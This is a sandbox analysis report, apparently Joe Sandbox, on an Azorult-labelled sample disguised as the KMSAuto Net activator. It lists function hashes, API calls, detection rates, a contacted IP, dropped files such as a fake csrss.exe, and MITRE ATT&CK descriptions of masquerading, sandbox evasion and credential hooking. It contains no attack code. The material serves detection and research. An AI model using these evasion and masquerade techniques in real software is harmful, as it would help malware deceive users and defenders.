Instruction Fuzzy Hash: 7C31E2B5900209DFDB10CF9AD9846DEBBF6BF58324F54842AE815A7310D374A945CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 01256C90 Relevance: 1.6, APIs: 1, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 01256D1F

Memory Dump Source

Source File: 00000002.00000002.515666719.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1250000_KMSAuto Net.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 19ea43860c0bb30fc3cf0d1e24bb4e89915255379a674e61e416c9871d7c1415
Instruction ID: fb46ceff81a2c40d3f8b93e697c5059ae0edb94dcd493eebaf562cc4a9fa5b70
Opcode Fuzzy Hash: 19ea43860c0bb30fc3cf0d1e24bb4e89915255379a674e61e416c9871d7c1415
Instruction Fuzzy Hash: A42114B69002099FDB10CFAAD984ADEBFF5FB48324F14841AE954A3310C378A944CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 01256C98 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 01256D1F

Memory Dump Source

Source File: 00000002.00000002.515666719.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1250000_KMSAuto Net.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 9f319ca73d1f75334fba789b0ee17d6169edc5dff3b838864ad28d285f5269cb
Instruction ID: 87c16d9c88778dc4806904e48a5c3bef75c57bebcd788f472647f9a7f128d766
Opcode Fuzzy Hash: 9f319ca73d1f75334fba789b0ee17d6169edc5dff3b838864ad28d285f5269cb
Instruction Fuzzy Hash: C521F3B59002099FDB10CFAAD984ADEBFF9FB48324F14841AE914A3310D378A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0125BF08 Relevance: 1.6, APIs: 1, Instructions: 56
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0125BD69,00000800,00000000,00000000), ref: 0125BF7A

Memory Dump Source

Source File: 00000002.00000002.515666719.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1250000_KMSAuto Net.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: a43e1dd02dfdceafce87237b5b1de231a91fd86fc2f1edcf3b3a5bbd29966a3c
Instruction ID: 67ed032cb3c21903f6449c0016363ccc889e2934c0c745e55d04eb1862efdadb
Opcode Fuzzy Hash: a43e1dd02dfdceafce87237b5b1de231a91fd86fc2f1edcf3b3a5bbd29966a3c
Instruction Fuzzy Hash: D72147B6C003098FDB10CFAAC884ADEFBF5EB48314F14856EE419A7600C375A545CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0125AFB8 Relevance: 1.6, APIs: 1, Instructions: 55
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0125BD69,00000800,00000000,00000000), ref: 0125BF7A

Memory Dump Source

Source File: 00000002.00000002.515666719.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1250000_KMSAuto Net.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: d34deb334edb65ed7b78de524f564255cd5d403f996ba7309a1c37aad7607b83
Instruction ID: ab798e413e7fa429ba1f1e7c0d829ef0b84177a8fe1337a4a88c90c46d2c8390
Opcode Fuzzy Hash: d34deb334edb65ed7b78de524f564255cd5d403f996ba7309a1c37aad7607b83
Instruction Fuzzy Hash: 9B1117B69002098FDB10CF9AD884BDEFBF5EB48314F14842EE919A7200C375A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0125BC88 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0125BCEE

Memory Dump Source

Source File: 00000002.00000002.515666719.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1250000_KMSAuto Net.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: cf648f1c399720d1a0197f264bf6068225a0aa19510bf1d18023cce78b449725
Instruction ID: f341dcede12540cf16958c40f54a6e0a6e121dae5c99bb99dd8af8ca39361312
Opcode Fuzzy Hash: cf648f1c399720d1a0197f264bf6068225a0aa19510bf1d18023cce78b449725
Instruction Fuzzy Hash: 981113B6C002498FDB10CF9AC884ADEFBF5AB48324F14855AD819A7200C379A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0125DDA0 Relevance: 1.5, APIs: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowLongW.USER32(?,?,?), ref: 0125DDFD

Memory Dump Source

Source File: 00000002.00000002.515666719.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1250000_KMSAuto Net.jbxd

Similarity

API ID: LongWindow
String ID:
API String ID: 1378638983-0
Opcode ID: f95f9e00c4eeb3eaa4e589da8922819885da2c625bd0455fb1079a9ce5e1aa56
Instruction ID: dee3a90b70b11f8723c9013059f5282dd66b73db8875567661612c021df5c5e2
Opcode Fuzzy Hash: f95f9e00c4eeb3eaa4e589da8922819885da2c625bd0455fb1079a9ce5e1aa56
Instruction Fuzzy Hash: 971115B59002498FDB20CF9AD984BDEFBF8EB48324F20855AD914A7300C374A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0125DD99 Relevance: 1.5, APIs: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowLongW.USER32(?,?,?), ref: 0125DDFD

Memory Dump Source

Source File: 00000002.00000002.515666719.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1250000_KMSAuto Net.jbxd

Similarity

API ID: LongWindow
String ID:
API String ID: 1378638983-0
Opcode ID: eaa1977621de9ebc28024b7c73bd21cc6a70891a920bdc2bb842311d244e33d8
Instruction ID: 446f08341a29b25a3c89619204aa2f746f5db24368e8fb2cb9e0951a63b3dc69
Opcode Fuzzy Hash: eaa1977621de9ebc28024b7c73bd21cc6a70891a920bdc2bb842311d244e33d8
Instruction Fuzzy Hash: 1F1106B59002098FDB10DF99D985BDEBBF4EB48324F14855AD914B7300C378A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0125BFB0 Relevance: 1.5, APIs: 1, Instructions: 43libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0125BD69,00000800,00000000,00000000), ref: 0125BF7A

Memory Dump Source

Source File: 00000002.00000002.515666719.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1250000_KMSAuto Net.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: ff8d7a9edfbfd749208382cf2a4a8fca8cf1e7eb07898dd11245126b8b2cdfc4
Instruction ID: 15ac2d3de1b3d738dbbf9b93b40c268ddcd8dea1170c7424370a7d4d56e3dde4
Opcode Fuzzy Hash: ff8d7a9edfbfd749208382cf2a4a8fca8cf1e7eb07898dd11245126b8b2cdfc4
Instruction Fuzzy Hash: 1C01FD768043018FEB208BADD8443DABBF5AF94324F10801EE514E7651C37A9444CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0104D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.515335372.000000000104D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0104D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_104d000_KMSAuto Net.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a90e2d75b7f6a9c87f0360fe8bec41a54390f32499d0736dc08def5fd1b30036
Instruction ID: 47223e9feab00de45fc18b5d816c890c8d115c91cd5b8a29f963d94b60aae0f2
Opcode Fuzzy Hash: a90e2d75b7f6a9c87f0360fe8bec41a54390f32499d0736dc08def5fd1b30036
Instruction Fuzzy Hash: 08214CB5604240EFDB01DF58DAC0B16BBA5FBA4324F24C6BDE8894B342C336D846CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0104D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.515335372.000000000104D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0104D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_104d000_KMSAuto Net.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84d68082fe0cf1274bcb9aa7cf2e3d118c151b9c22430d108c525abe821850aa
Instruction ID: 94c855afd297b9804a2c9350dba45dcf67f9b4483d67fa4311c6d008c63c25a7
Opcode Fuzzy Hash: 84d68082fe0cf1274bcb9aa7cf2e3d118c151b9c22430d108c525abe821850aa
Instruction Fuzzy Hash: F42125B5604240DFDB15CF58D9C0B16BBA5FB94354F24C9BDE8894B246C33BD846CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0104D006 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.515335372.000000000104D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0104D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_104d000_KMSAuto Net.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24fc3e953e98f549b7ed58a82471c6a6124121723560fb9cfddaa372b2479c67
Instruction ID: 909c8f01a74608fc37a432b463dfc7e5262283de2c29a985ce6aa03179898fbb
Opcode Fuzzy Hash: 24fc3e953e98f549b7ed58a82471c6a6124121723560fb9cfddaa372b2479c67
Instruction Fuzzy Hash: 44217FB55083809FCB02CF54D994B11BFB1EB46214F28C5EAD8858B297C33A9846CB62

Uniqueness

Uniqueness Score: -1.00%

Function 0104D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.515335372.000000000104D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0104D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_104d000_KMSAuto Net.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a40b480d4fa50119ebda35aff352db3dffa7348ebbf36f966237d5faf07d1e9
Instruction ID: 1a23760682c1d6b6b9a2559fd204774fa8e18f51a1b3f306330024fa9b598b71
Opcode Fuzzy Hash: 4a40b480d4fa50119ebda35aff352db3dffa7348ebbf36f966237d5faf07d1e9
Instruction Fuzzy Hash: 3A11BEB5504280DFDB42CF54C6C4B15BBA1FB94224F28C6ADD8894B656C33AD44ACB51

Uniqueness

Uniqueness Score: -1.00%

Source: Joe Sandbox View	IP Address: 141.8.192.151 141.8.192.151
Source: Joe Sandbox View	IP Address: 141.8.192.151 141.8.192.151

Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Roaming\csrss.exe	ReversingLabs: Detection: 66%

Source: C:\Users\user\AppData\Roaming\csrss.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Joe Sandbox ML: detected

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Azorult

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe

C:\Program Files (x86)\KMSAuto\KMSAuto Net\test.test

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_csrss.exe_f22660799b81b1cdf575f7ba80bebda2d012813c_4666b2e0_0a75e935\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCAEF.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCD51.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCDB0.tmp.xml

C:\Users\user\AppData\Local\MSfree Inc\kmsauto.ini

C:\Users\user\AppData\Local\Temp\$inst\2.tmp

C:\Users\user\AppData\Local\Temp\$inst\temp_0.tmp

C:\Users\user\AppData\Roaming\csrss.exe

C:\Windows\appcompat\Programs\Amcache.hve

C:\Windows\appcompat\Programs\Amcache.hve.LOG1

Static File Info

General

File Icon

Static PE Info

Windows Analysis Report
ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe